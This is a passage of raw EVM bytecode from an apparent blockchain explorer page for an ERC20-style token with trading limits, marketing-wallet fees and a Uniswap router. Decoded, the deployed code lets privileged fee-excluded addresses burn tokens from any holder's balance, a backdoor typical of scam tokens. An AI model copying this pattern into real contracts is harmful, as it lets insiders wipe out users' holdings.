7600080fd5b80631816467f116102035780631816467f146102c457806323b872dd146102e4578063311028af14610304578063313ce5671461031a578063395093511461033657600080fd5b80630161a2901461024057806306fdde031461024a578063095ea7b31461027557806318160ddd146102a557600080fd5b3661023b57005b600080fd5b6102486106c1565b005b34801561025657600080fd5b5061025f610970565b60405161026c9190611cf3565b60405180910390f35b34801561028157600080fd5b50610295610290366004611d56565b610a02565b604051901515815260200161026c565b3480156102b157600080fd5b506002545b60405190815260200161026c565b3480156102d057600080fd5b506102486102df366004611d82565b610a1c565b3480156102f057600080fd5b506102956102ff366004611d9f565b610a81565b34801561031057600080fd5b506102b6600a5481565b34801561032657600080fd5b506040516012815260200161026c565b34801561034257600080fd5b50610295610351366004611d56565b610aa5565b34801561036257600080fd5b506102b660125481565b34801561037857600080fd5b506102b660115481565b34801561038e57600080fd5b506007546103a2906001600160a01b031681565b6040516001600160a01b03909116815260200161026c565b3480156103c657600080fd5b506102956103d5366004611d82565b6001600160a01b031660009081526014602052604090205460ff1690565b3480156103ff57600080fd5b506006546103a2906001600160a01b031681565b34801561041f57600080fd5b50600e5461029590610100900460ff1681565b34801561043e57600080fd5b506102b661044d366004611d82565b610ac7565b34801561045e57600080fd5b50610248610ae2565b34801561047357600080fd5b50610248610af6565b34801561048857600080fd5b50610248610497366004611de0565b610b14565b3480156104a857600080fd5b506005546001600160a01b03166103a2565b3480156104c657600080fd5b5061025f610b47565b3480156104db57600080fd5b506102486104ea366004611de0565b610b56565b3480156104fb57600080fd5b5061024861050a366004611d56565b610bf5565b34801561051b57600080fd5b5061029561052a366004611d56565b610c1b565b34801561053b57600080fd5b5061029561054a366004611d56565b610c96565b34801561055b57600080fd5b5061024861056a366004611e1e565b610ca4565b34801561057b57600080fd5b5061024861058a366004611e1e565b610cc4565b34801561059b57600080fd5b506102486105aa366004611de0565b610d6b565b3480156105bb57600080fd5b506102486105ca366004611e1e565b610dd2565b3480156105db57600080fd5b506102b6600b5481565b3480156105f157600080fd5b506102b660105481565b34801561060757600080fd5b506102b6610616366004611e37565b610e83565b34801561062757600080fd5b506102b6600f5481565b34801561063d57600080fd5b506102b6600d5481565b34801561065357600080fd5b50610248610eae565b34801561066857600080fd5b50610248610677366004611d82565b610f1a565b34801561068857600080fd5b50610248610f93565b34801561069d57600080fd5b506102b6600c5481565b3480156106b357600080fd5b50600e546102959060ff1681565b6106c9611028565b600680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106fd906001610b14565b600660009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610750573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107749190611e65565b6001600160a01b031663c9c6539630600660009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107d6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107fa9190611e65565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610847573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061086b9190611e65565b600780546001600160a01b0319166001600160a01b03929092169182179055610895906001610b14565b6007546108ac906001600160a01b03166001611082565b6006546108c69030906001600160a01b03166000196110d6565b6006546001600160a01b031663f305d71934306108e281610ac7565b6040516001600160e01b031960e086901b1681526001600160a01b039092166004830152602482015260006044820181905260648201523360848201524260a482015260c40160606040518083038185885af1158015610946573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061096b9190611e82565b505050565b60606003805461097f90611eb0565b80601f01602080910402602001604051908101604052809291908181526020018280546109ab90611eb0565b80156109f85780601f106109cd576101008083540402835291602001916109f8565b820191906000526020600020905b8154815290600101906020018083116109db57829003601f168201915b5050505050905090565b600033610a108185856110d6565b60019150505b92915050565b610a24611028565b6008546040516001600160a01b03918216918316907f90b8024c4923d3873ff5b9fcb43d0360d4b9217fa41225d07ba379993552e74390600090a3600880546001600160a01b0319166001600160a01b0392909216919091179055565b600033610a8f8582856111fa565b610a9a85858561126e565b506001949350505050565b600033610a10818585610ab88383610e83565b610ac29190611f00565b6110d6565b6001600160a01b031660009081526020819052604090205490565b610aea611028565b610af46000611801565b565b610afe611028565b6000610b0960025490565b600b819055600c5550565b610b1c611028565b6001600160a01b03919091166000908152601560205260409020805460ff1916911515919091179055565b60606004805461097f90611eb0565b610b5e611028565b6007546001600160a01b0390811690831603610be75760405162461bcd60e51b815260206004820152603960248201527f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060448201527f6175746f6d617465644d61726b65744d616b657250616972730000000000000060648201526084015b60405180910390fd5b610bf18282611082565b5050565b3360009081526014602052604090205460ff16610c1157600080fd5b610bf18282611853565b60003381610c298286610e83565b905083811015610c895760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610bde565b610a9a82868684036110d6565b600033610a1081858561126e565b610cac611028565b610cbe81670de0b6b3a7640000611f13565b600d5550565b6009546001600160a01b0316336001600160a01b031614610ce457600080fd5b6000610cef60025490565b90506000610cfc30610ac7565b905060006064610d0c8585611f13565b610d169190611f2a565b905080821015610d5c5760405162461bcd60e51b81526020600482015260116024820152704e6f7420656e6f75676820746f6b656e7360781b6044820152606401610bde565b610d6581611985565b50505050565b610d73611028565b6001600160a01b038216600081815260146020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b610dda611028565b670de0b6b3a76400006103e8610def60025490565b610dfa906001611f13565b610e049190611f2a565b610e0e9190611f2a565b811015610e6b5760405162461bcd60e51b815260206004820152602560248201527f43616e6e6f7420736574206d61782077616c6c6574206c6f776572207468616e60448201526420302e312560d81b6064820152608401610bde565b610e7d81670de0b6b3a7640000611f13565b600c5550565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b610eb6611028565b600e5460ff1615610f095760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610bde565b600e805461ffff1916610101179055565b610f22611028565b6001600160a01b038116610f875760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610bde565b610f9081611801565b50565b60004711610fdc5760405162461bcd60e51b81526020600482015260166024820152752a37b5b2b71d1037379022aa24103a379031b632b0b960511b6044820152606401610bde565b6009546001600160a01b0316336001600160a01b031614610ffc57600080fd5b60405133904780156108fc02916000818181858888f19350505050158015610f90573d6000803e3d6000fd5b6005546001600160a01b03163314610af45760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610bde565b6001600160a01b038216600081815260166020526040808220805460ff191685151590811790915590519092917fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab91a35050565b6001600160a01b0383166111385760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610bde565b6001600160a01b0382166111995760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610bde565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006112068484610e83565b90506000198114610d6557818110156112615760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006044820152606401610bde565b610d6584848484036110d6565b6001600160a01b0383166112945760405162461bcd60e51b8152600401610bde90611f4c565b6001600160a01b0382166112ba5760405162461bcd60e51b8152600401610bde90611f91565b806000036112ce5761096b83836000611ae3565b6005546001600160a01b038481169116148015906112fa57506005546001600160a01b03838116911614155b801561130e57506001600160a01b03821615155b801561132557506001600160a01b03821661dead14155b801561133b5750600954600160a01b900460ff16155b1561161457600e5460ff166113ce576001600160a01b03831660009081526014602052604090205460ff168061138957506001600160a01b03821660009081526014602052604090205460ff165b6113ce5760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b6044820152606401610bde565b6001600160a01b03831660009081526016602052604090205460ff16801561140f57506001600160a01b03821660009081526015602052604090205460ff16155b156114e357600b548111156114845760405162461bcd60e51b815260206004820152603560248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201527436b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760591b6064820152608401610bde565b600c5461149083610ac7565b61149a9083611f00565b11156114de5760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b6044820152606401610bde565b611614565b6001600160a01b03821660009081526016602052604090205460ff16801561152457506001600160a01b03831660009081526015602052604090205460ff16155b1561159a57600b548111156114de5760405162461bcd60e51b815260206004820152603660248201527f53656c6c207472616e7366657220616d6f756e742065786365656473207468656044820152751036b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760511b6064820152608401610bde565b6001600160a01b03821660009081526015602052604090205460ff1661161457600c546115c683610ac7565b6115d09083611f00565b11156116145760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b6044820152606401610bde565b600061161f30610ac7565b9050801580159081906116395750600e54610100900460ff165b801561164f5750600954600160a01b900460ff16155b801561167457506001600160a01b03851660009081526016602052604090205460ff16155b801561169957506001600160a01b03851660009081526014602052604090205460ff16155b80156116be57506001600160a01b03841660009081526014602052604090205460ff16155b156116ed576009805460ff60a01b1916600160a01b1790556116df83611c0d565b6009805460ff60a01b191690555b6009546001600160a01b03861660009081526014602052604090205460ff600160a01b90920482161591168061173b57506001600160a01b03851660009081526014602052604090205460ff165b15611744575060005b600081156117ed576001600160a01b03861660009081526016602052604090205460ff16156117a35761179c60135461177e601254611c93565b6117889190611f13565b601054611796908890611cd4565b90611ce7565b90506117cf565b6117cc6013546117b4601154611c93565b6117be9190611f13565b600f54611796908890611cd4565b90505b80156117e0576117e0873083611ae3565b6117ea8186611fd4565b94505b6117f8878787611ae3565b50505050505050565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b0382166118b35760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b6064820152608401610bde565b6001600160a01b038216600090815260208190526040902054818110156119275760405162461bcd60e51b815260206004820152602260248201527f45524332303a206275726e20616d6f756e7420657863656564732062616c616e604482015261636560f01b6064820152608401610bde565b6001600160a01b0383166000818152602081815260408083208686039055600280548790039055518581529192917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3505050565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106119ba576119ba611fe7565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611a13573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a379190611e65565b81600181518110611a4a57611a4a611fe7565b6001600160a01b039283166020918202929092010152600654611a7091309116846110d6565b60065460095460405163791ac94760e01b81526001600160a01b039283169263791ac94792611aad92879260009288929116904290600401611ffd565b600060405180830381600087803b158015611ac757600080fd5b505af1158015611adb573d6000803e3d6000fd5b505050505050565b6001600160a01b038316611b095760405162461bcd60e51b8152600401610bde90611f4c565b6001600160a01b038216611b2f5760405162461bcd60e51b8152600401610bde90611f91565b6001600160a01b03831660009081526020819052604090205481811015611ba75760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610bde565b6001600160a01b03848116600081815260208181526040808320878703905593871680835291849020805487019055925185815290927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3610d65565b6000611c1830610ac7565b9050600081600003611c2957505050565b600082118015611c3a5750600d5482105b15611c46575080611c8a565b6000611c62606461179660105487611cd490919063ffffffff16565b9050611c6e8185611fd4565b9350600d54841115611c8457600d549150611c88565b8391505b505b61096b81611985565b600080611ca161dead610ac7565b118015611cae5750600082115b611cb9576001610a16565b60646001601354611cca9190611fd4565b610a169190611f2a565b6000611ce08284611f13565b9392505050565b6000611ce08284611f2a565b600060208083528351808285015260005b81811015611d2057858101830151858201604001528201611d04565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610f9057600080fd5b60008060408385031215611d6957600080fd5b8235611d7481611d41565b946020939093013593505050565b600060208284031215611d9457600080fd5b8135611ce081611d41565b600080600060608486031215611db457600080fd5b8335611dbf81611d41565b92506020840135611dcf81611d41565b929592945050506040919091013590565b60008060408385031215611df357600080fd5b8235611dfe81611d41565b915060208301358015158114611e1357600080fd5b809150509250929050565b600060208284031215611e3057600080fd5b5035919050565b60008060408385031215611e4a57600080fd5b8235611e5581611d41565b91506020830135611e1381611d41565b600060208284031215611e7757600080fd5b8151611ce081611d41565b600080600060608486031215611e9757600080fd5b8351925060208401519150604084015190509250925092565b600181811c90821680611ec457607f821691505b602082108103611ee457634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b80820180821115610a1657610a16611eea565b8082028115828204841417610a1657610a16611eea565b600082611f4757634e487b7160e01b600052601260045260246000fd5b500490565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b81810381811115610a1657610a16611eea565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561204d5784516001600160a01b031683529383019391830191600101612028565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220ebe9173ebcac35987f4cff51b0375c114f951e1dfea95fd0484c30a0dfb24fd464736f6c63430008130033
Deployed Bytecode
0x6080604052600436106102345760003560e01c80638da5cb5b1161012e578063c8c8ebe4116100ab578063ef85a9f41161006f578063ef85a9f414610647578063f2fde38b1461065c578063f724fb481461067c578063f8b45b0514610691578063ffb54a99146106a757600080fd5b8063c8c8ebe4146105cf578063cf9522fd146105e5578063dd62ed3e146105fb578063dd8546521461061b578063e2f456051461063157600080fd5b8063a9059cbb116100f2578063a9059cbb1461052f578063afa4f3b21461054f578063b70143c91461056f578063c02466681461058f578063c18bc195146105af57600080fd5b80638da5cb5b1461049c57806395d89b41146104ba5780639a7a23d6146104cf5780639dc29fac146104ef578063a457c2d71461050f57600080fd5b80633ff52513116101bc5780636ddd1713116101805780636ddd17131461041357806370a0823114610432578063715018a614610452578063751039fc146104675780637571336a1461047c57600080fd5b80633ff5251314610356578063414a87861461036c57806349bd5a5e146103825780634fbee193146103ba578063583e0568146103f357600080fd5b80631816467f116102035780631816467f146102c457806323b872dd146102e4578063311028af14610304578063313ce5671461031a578063395093511461033657600080fd5b80630161a2901461024057806306fdde031461024a578063095ea7b31461027557806318160ddd146102a557600080fd5b3661023b57005b600080fd5b6102486106c1565b005b34801561025657600080fd5b5061025f610970565b60405161026c9190611cf3565b60405180910390f35b34801561028157600080fd5b50610295610290366004611d56565b610a02565b604051901515815260200161026c565b3480156102b157600080fd5b506002545b60405190815260200161026c565b3480156102d057600080fd5b506102486102df366004611d82565b610a1c565b3480156102f057600080fd5b506102956102ff366004611d9f565b610a81565b34801561031057600080fd5b506102b6600a5481565b34801561032657600080fd5b506040516012815260200161026c565b34801561034257600080fd5b50610295610351366004611d56565b610aa5565b34801561036257600080fd5b506102b660125481565b34801561037857600080fd5b506102b660115481565b34801561038e57600080fd5b506007546103a2906001600160a01b031681565b6040516001600160a01b03909116815260200161026c565b3480156103c657600080fd5b506102956103d5366004611d82565b6001600160a01b031660009081526014602052604090205460ff1690565b3480156103ff57600080fd5b506006546103a2906001600160a01b031681565b34801561041f57600080fd5b50600e5461029590610100900460ff1681565b34801561043e57600080fd5b506102b661044d366004611d82565b610ac7565b34801561045e57600080fd5b50610248610ae2565b34801561047357600080fd5b50610248610af6565b34801561048857600080fd5b50610248610497366004611de0565b610b14565b3480156104a857600080fd5b506005546001600160a01b03166103a2565b3480156104c657600080fd5b5061025f610b47565b3480156104db57600080fd5b506102486104ea366004611de0565b610b56565b3480156104fb57600080fd5b5061024861050a366004611d56565b610bf5565b34801561051b57600080fd5b5061029561052a366004611d56565b610c1b565b34801561053b57600080fd5b5061029561054a366004611d56565b610c96565b34801561055b57600080fd5b5061024861056a366004611e1e565b610ca4565b34801561057b57600080fd5b5061024861058a366004611e1e565b610cc4565b34801561059b57600080fd5b506102486105aa366004611de0565b610d6b565b3480156105bb57600080fd5b506102486105ca366004611e1e565b610dd2565b3480156105db57600080fd5b506102b6600b5481565b3480156105f157600080fd5b506102b660105481565b34801561060757600080fd5b506102b6610616366004611e37565b610e83565b34801561062757600080fd5b506102b6600f5481565b34801561063d57600080fd5b506102b6600d5481565b34801561065357600080fd5b50610248610eae565b34801561066857600080fd5b50610248610677366004611d82565b610f1a565b34801561068857600080fd5b50610248610f93565b34801561069d57600080fd5b506102b6600c5481565b3480156106b357600080fd5b50600e546102959060ff1681565b6106c9611028565b600680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106fd906001610b14565b600660009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610750573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107749190611e65565b6001600160a01b031663c9c6539630600660009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107d6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107fa9190611e65565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610847573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061086b9190611e65565b600780546001600160a01b0319166001600160a01b03929092169182179055610895906001610b14565b6007546108ac906001600160a01b03166001611082565b6006546108c69030906001600160a01b03166000196110d6565b6006546001600160a01b031663f305d71934306108e281610ac7565b6040516001600160e01b031960e086901b1681526001600160a01b039092166004830152602482015260006044820181905260648201523360848201524260a482015260c40160606040518083038185885af1158015610946573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061096b9190611e82565b505050565b60606003805461097f90611eb0565b80601f01602080910402602001604051908101604052809291908181526020018280546109ab90611eb0565b80156109f85780601f106109cd576101008083540402835291602001916109f8565b820191906000526020600020905b8154815290600101906020018083116109db57829003601f168201915b5050505050905090565b600033610a108185856110d6565b60019150505b92915050565b610a24611028565b6008546040516001600160a01b03918216918316907f90b8024c4923d3873ff5b9fcb43d0360d4b9217fa41225d07ba379993552e74390600090a3600880546001600160a01b0319166001600160a01b0392909216919091179055565b600033610a8f8582856111fa565b610a9a85858561126e565b506001949350505050565b600033610a10818585610ab88383610e83565b610ac29190611f00565b6110d6565b6001600160a01b031660009081526020819052604090205490565b610aea611028565b610af46000611801565b565b610afe611028565b6000610b0960025490565b600b819055600c5550565b610b1c611028565b6001600160a01b03919091166000908152601560205260409020805460ff1916911515919091179055565b60606004805461097f90611eb0565b610b5e611028565b6007546001600160a01b0390811690831603610be75760405162461bcd60e51b815260206004820152603960248201527f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060448201527f6175746f6d617465644d61726b65744d616b657250616972730000000000000060648201526084015b60405180910390fd5b610bf18282611082565b5050565b3360009081526014602052604090205460ff16610c1157600080fd5b610bf18282611853565b60003381610c298286610e83565b905083811015610c895760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610bde565b610a9a82868684036110d6565b600033610a1081858561126e565b610cac611028565b610cbe81670de0b6b3a7640000611f13565b600d5550565b6009546001600160a01b0316336001600160a01b031614610ce457600080fd5b6000610cef60025490565b90506000610cfc30610ac7565b905060006064610d0c8585611f13565b610d169190611f2a565b905080821015610d5c5760405162461bcd60e51b81526020600482015260116024820152704e6f7420656e6f75676820746f6b656e7360781b6044820152606401610bde565b610d6581611985565b50505050565b610d73611028565b6001600160a01b038216600081815260146020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b610dda611028565b670de0b6b3a76400006103e8610def60025490565b610dfa906001611f13565b610e049190611f2a565b610e0e9190611f2a565b811015610e6b5760405162461bcd60e51b815260206004820152602560248201527f43616e6e6f7420736574206d61782077616c6c6574206c6f776572207468616e60448201526420302e312560d81b6064820152608401610bde565b610e7d81670de0b6b3a7640000611f13565b600c5550565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b610eb6611028565b600e5460ff1615610f095760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610bde565b600e805461ffff1916610101179055565b610f22611028565b6001600160a01b038116610f875760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610bde565b610f9081611801565b50565b60004711610fdc5760405162461bcd60e51b81526020600482015260166024820152752a37b5b2b71d1037379022aa24103a379031b632b0b960511b6044820152606401610bde565b6009546001600160a01b0316336001600160a01b031614610ffc57600080fd5b60405133904780156108fc02916000818181858888f19350505050158015610f90573d6000803e3d6000fd5b6005546001600160a01b03163314610af45760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610bde565b6001600160a01b038216600081815260166020526040808220805460ff191685151590811790915590519092917fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab91a35050565b6001600160a01b0383166111385760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610bde565b6001600160a01b0382166111995760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610bde565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006112068484610e83565b90506000198114610d6557818110156112615760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006044820152606401610bde565b610d6584848484036110d6565b6001600160a01b0383166112945760405162461bcd60e51b8152600401610bde90611f4c565b6001600160a01b0382166112ba5760405162461bcd60e51b8152600401610bde90611f91565b806000036112ce5761096b83836000611ae3565b6005546001600160a01b038481169116148015906112fa57506005546001600160a01b03838116911614155b801561130e57506001600160a01b03821615155b801561132557506001600160a01b03821661dead14155b801561133b5750600954600160a01b900460ff16155b1561161457600e5460ff166113ce576001600160a01b03831660009081526014602052604090205460ff168061138957506001600160a01b03821660009081526014602052604090205460ff165b6113ce5760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b6044820152606401610bde565b6001600160a01b03831660009081526016602052604090205460ff16801561140f57506001600160a01b03821660009081526015602052604090205460ff16155b156114e357600b548111156114845760405162461bcd60e51b815260206004820152603560248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201527436b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760591b6064820152608401610bde565b600c5461149083610ac7565b61149a9083611f00565b11156114de5760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b6044820152606401610bde565b611614565b6001600160a01b03821660009081526016602052604090205460ff16801561152457506001600160a01b03831660009081526015602052604090205460ff16155b1561159a57600b548111156114de5760405162461bcd60e51b815260206004820152603660248201527f53656c6c207472616e7366657220616d6f756e742065786365656473207468656044820152751036b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760511b6064820152608401610bde565b6001600160a01b03821660009081526015602052604090205460ff1661161457600c546115c683610ac7565b6115d09083611f00565b11156116145760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b6044820152606401610bde565b600061161f30610ac7565b9050801580159081906116395750600e54610100900460ff165b801561164f5750600954600160a01b900460ff16155b801561167457506001600160a01b03851660009081526016602052604090205460ff16155b801561169957506001600160a01b03851660009081526014602052604090205460ff16155b80156116be57506001600160a01b03841660009081526014602052604090205460ff16155b156116ed576009805460ff60a01b1916600160a01b1790556116df83611c0d565b6009805460ff60a01b191690555b6009546001600160a01b03861660009081526014602052604090205460ff600160a01b90920482161591168061173b57506001600160a01b03851660009081526014602052604090205460ff165b15611744575060005b600081156117ed576001600160a01b03861660009081526016602052604090205460ff16156117a35761179c60135461177e601254611c93565b6117889190611f13565b601054611796908890611cd4565b90611ce7565b90506117cf565b6117cc6013546117b4601154611c93565b6117be9190611f13565b600f54611796908890611cd4565b90505b80156117e0576117e0873083611ae3565b6117ea8186611fd4565b94505b6117f8878787611ae3565b50505050505050565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b0382166118b35760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b6064820152608401610bde565b6001600160a01b038216600090815260208190526040902054818110156119275760405162461bcd60e51b815260206004820152602260248201527f45524332303a206275726e20616d6f756e7420657863656564732062616c616e604482015261636560f01b6064820152608401610bde565b6001600160a01b0383166000818152602081815260408083208686039055600280548790039055518581529192917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3505050565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106119ba576119ba611fe7565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611a13573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a379190611e65565b81600181518110611a4a57611a4a611fe7565b6001600160a01b039283166020918202929092010152600654611a7091309116846110d6565b60065460095460405163791ac94760e01b81526001600160a01b039283169263791ac94792611aad92879260009288929116904290600401611ffd565b600060405180830381600087803b158015611ac757600080fd5b505af1158015611adb573d6000803e3d6000fd5b505050505050565b6001600160a01b038316611b095760405162461bcd60e51b8152600401610bde90611f4c565b6001600160a01b038216611b2f5760405162461bcd60e51b8152600401610bde90611f91565b6001600160a01b03831660009081526020819052604090205481811015611ba75760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610bde565b6001600160a01b03848116600081815260208181526040808320878703905593871680835291849020805487019055925185815290927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3610d65565b6000611c1830610ac7565b9050600081600003611c2957505050565b600082118015611c3a5750600d5482105b15611c46575080611c8a565b6000611c62606461179660105487611cd490919063ffffffff16565b9050611c6e8185611fd4565b9350600d54841115611c8457600d549150611c88565b8391505b505b61096b81611985565b600080611ca161dead610ac7565b118015611cae5750600082115b611cb9576001610a16565b60646001601354611cca9190611fd4565b610a169190611f2a565b6000611ce08284611f13565b9392505050565b6000611ce08284611f2a565b600060208083528351808285015260005b81811015611d2057858101830151858201604001528201611d04565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610f9057600080fd5b60008060408385031215611d6957600080fd5b8235611d7481611d41565b946020939093013593505050565b600060208284031215611d9457600080fd5b8135611ce081611d41565b600080600060608486031215611db457600080fd5b8335611dbf81611d41565b92506020840135611dcf81611d41565b929592945050506040919091013590565b60008060408385031215611df357600080fd5b8235611dfe81611d41565b915060208301358015158114611e1357600080fd5b809150509250929050565b600060208284031215611e3057600080fd5b5035919050565b60008060408385031215611e4a57600080fd5b8235611e5581611d41565b91506020830135611e1381611d41565b600060208284031215611e7757600080fd5b8151611ce081611d41565b600080600060608486031215611e9757600080fd5b8351925060208401519150604084015190509250925092565b600181811c90821680611ec457607f821691505b602082108103611ee457634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b80820180821115610a1657610a16611eea565b8082028115828204841417610a1657610a16611eea565b600082611f4757634e487b7160e01b600052601260045260246000fd5b500490565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b81810381811115610a1657610a16611eea565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561204d5784516001600160a01b031683529383019391830191600101612028565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220ebe9173ebcac35987f4cff51b0375c114f951e1dfea95fd0484c30a0dfb24fd464736f6c63430008130033
Deployed Bytecode Sourcemap
